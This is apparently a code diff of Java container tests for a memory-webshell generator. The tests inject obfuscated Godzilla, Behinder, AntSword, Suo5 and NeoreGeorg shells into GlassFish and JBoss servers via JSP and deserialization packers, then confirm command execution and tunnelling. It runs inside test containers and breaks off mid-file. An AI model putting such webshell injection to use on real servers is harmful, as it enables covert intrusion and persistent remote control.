@@ -112,9 +116,20 @@ public class ShellAssertionTool {
case AntSword: case AntSword:
testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
break; break;
case NeoreGeorg:
testNeoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig()));
break;
} }
} }
private static void testNeoreGeorgIsOk(GenericContainer<?> container, GenericContainer<?> pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception {
URL url = new URL(shellUrl);
shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath();
String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout();
log.info(stdout);
assertTrue(stdout.contains("All seems fine"));
}
public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) { public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder() try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass()) .entrypoint(entrypoint).pass(shellConfig.getPass())
@@ -145,11 +160,6 @@ public class ShellAssertionTool {
} }
} }
@Test
void name() throws Exception {
testWebSocketCommandIsOk("ws://localhost:8082/app/hello", null);
}
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception { public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
final CountDownLatch latch = new CountDownLatch(1); final CountDownLatch latch = new CountDownLatch(1);
final String[] responseHolder = new String[1]; final String[] responseHolder = new String[1];
@@ -185,7 +195,6 @@ public class ShellAssertionTool {
} }
String res = responseHolder[0]; String res = responseHolder[0];
System.out.println(res);
assertTrue(res.contains("uid=")); assertTrue(res.contains("uid="));
} }
@@ -222,8 +231,17 @@ public class ShellAssertionTool {
.shellType(shellType) .shellType(shellType)
.targetJreVersion(targetJdkVersion) .targetJreVersion(targetJdkVersion)
.debug(true) .debug(true)
.shrink(true)
.obfuscate(true)
.build(); .build();
if (ShellTool.NeoreGeorg.equals(shellTool)) {
shellConfig.setObfuscate(false);
}
if (Server.Jetty.equals(server) && ShellType.FILTER.equals(shellType) && ShellTool.Suo5.equals(shellTool)) {
shellConfig.setObfuscate(false);
}
ShellToolConfig shellToolConfig = null; ShellToolConfig shellToolConfig = null;
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
switch (shellTool) { switch (shellTool) {
@@ -234,7 +252,7 @@ public class ShellAssertionTool {
.pass(godzillaPass).key(godzillaKey) .pass(godzillaPass).key(godzillaKey)
.headerName("User-Agent").headerValue(uniqueName) .headerName("User-Agent").headerValue(uniqueName)
.build(); .build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName); log.info("generated {} godzilla with pass: {}, key: {}, User-Agent: {}", shellType, godzillaPass, godzillaKey, uniqueName);
break; break;
case Command: case Command:
shellToolConfig = CommandConfig.builder() shellToolConfig = CommandConfig.builder()
@@ -249,14 +267,14 @@ public class ShellAssertionTool {
.headerName("User-Agent") .headerName("User-Agent")
.headerValue(uniqueName) .headerValue(uniqueName)
.build(); .build();
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName); log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName);
break; break;
case Suo5: case Suo5:
shellToolConfig = Suo5Config.builder() shellToolConfig = Suo5Config.builder()
.headerName("User-Agent") .headerName("User-Agent")
.headerValue(uniqueName) .headerValue(uniqueName)
.build(); .build();
log.info("generated {} suo5 with headerValue: {}", shellType, uniqueName); log.info("generated {} suo5 with User-Agent: {}", shellType, uniqueName);
break; break;
case AntSword: case AntSword:
String antPassword = "ant"; String antPassword = "ant";
@@ -265,7 +283,14 @@ public class ShellAssertionTool {
.headerName("User-Agent") .headerName("User-Agent")
.headerValue(uniqueName) .headerValue(uniqueName)
.build(); .build();
log.info("generated {} antSword with pass: {}, headerValue: {}", shellType, antPassword, uniqueName); log.info("generated {} antSword with pass: {}, User-Agent: {}", shellType, antPassword, uniqueName);
break;
case NeoreGeorg:
shellToolConfig = NeoreGeorgConfig.builder()
.headerName("Referer")
.headerValue(uniqueName)
.build();
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
break; break;
} }
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple; import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
@@ -33,12 +35,18 @@ import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjec
@Testcontainers @Testcontainers
public class GlassFish3ContainerTest { public class GlassFish3ContainerTest {
public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -49,7 +57,13 @@ public class GlassFish3ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.GlassFish; Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of( List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
@@ -61,13 +75,13 @@ public class GlassFish3ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
// log.info(logs); log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); // assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -13,7 +13,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -34,12 +36,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class GlassFish4ContainerTest { public class GlassFish4ContainerTest {
public static final String imageName = "reajason/glassfish:4.1.2-quick"; public static final String imageName = "reajason/glassfish:4.1.2-quick";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(8080); .withExposedPorts(8080);
@@ -50,7 +58,13 @@ public class GlassFish4ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.GlassFish; Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -65,6 +79,6 @@ public class GlassFish4ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class GlassFish501ContainerTest { public class GlassFish501ContainerTest {
public static final String imageName = "reajason/glassfish:5.0.1"; public static final String imageName = "reajason/glassfish:5.0.1";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*deployed.*", 1)) .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.GlassFish; Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,6 +71,6 @@ public class GlassFish501ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class GlassFish510ContainerTest { public class GlassFish510ContainerTest {
public static final String imageName = "reajason/glassfish:5.1.0"; public static final String imageName = "reajason/glassfish:5.1.0";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*deployed.*", 1)) .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.GlassFish; Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -58,6 +72,6 @@ public class GlassFish510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class GlassFish6ContainerTest { public class GlassFish6ContainerTest {
public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*deployed.*", 1)) .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.GlassFish; Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
} }
@@ -57,6 +71,6 @@ public class GlassFish6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,18 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class GlassFish7ContainerTest { public class GlassFish7ContainerTest {
public static final String imageName = "reajason/glassfish:7.0.20-jdk17"; public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war") .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*startup time.*", 1)) .waitingFor(Wait.forLogMessage(".*startup time.*", 1))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.GlassFish; Server server = Server.GlassFish;
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
} }
@@ -57,6 +71,6 @@ public class GlassFish7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container); testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
} }
} }
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers; import org.testcontainers.junit.jupiter.Testcontainers;
@@ -32,19 +34,30 @@ import static org.hamcrest.MatcherAssert.assertThat;
@Testcontainers @Testcontainers
public class Jboss423ContainerTest { public class Jboss423ContainerTest {
public static final String imageName = "reajason/jboss:4-jdk6"; public static final String imageName = "reajason/jboss:4-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container @Container
public static final GenericContainer<?> container = new GenericContainer<>(imageName) public static final GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war") .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
.withCopyToContainer(jattachFile, "/jattach") .withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jbossPid, "/fetch_pid.sh") .withCopyToContainer(jbossPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.JBossAS; Server server = Server.JBossAS;
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, List<String> supportedShellTypes = List.of(
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM,
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -58,6 +71,6 @@ public class Jboss423ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider") @MethodSource("casesProvider")
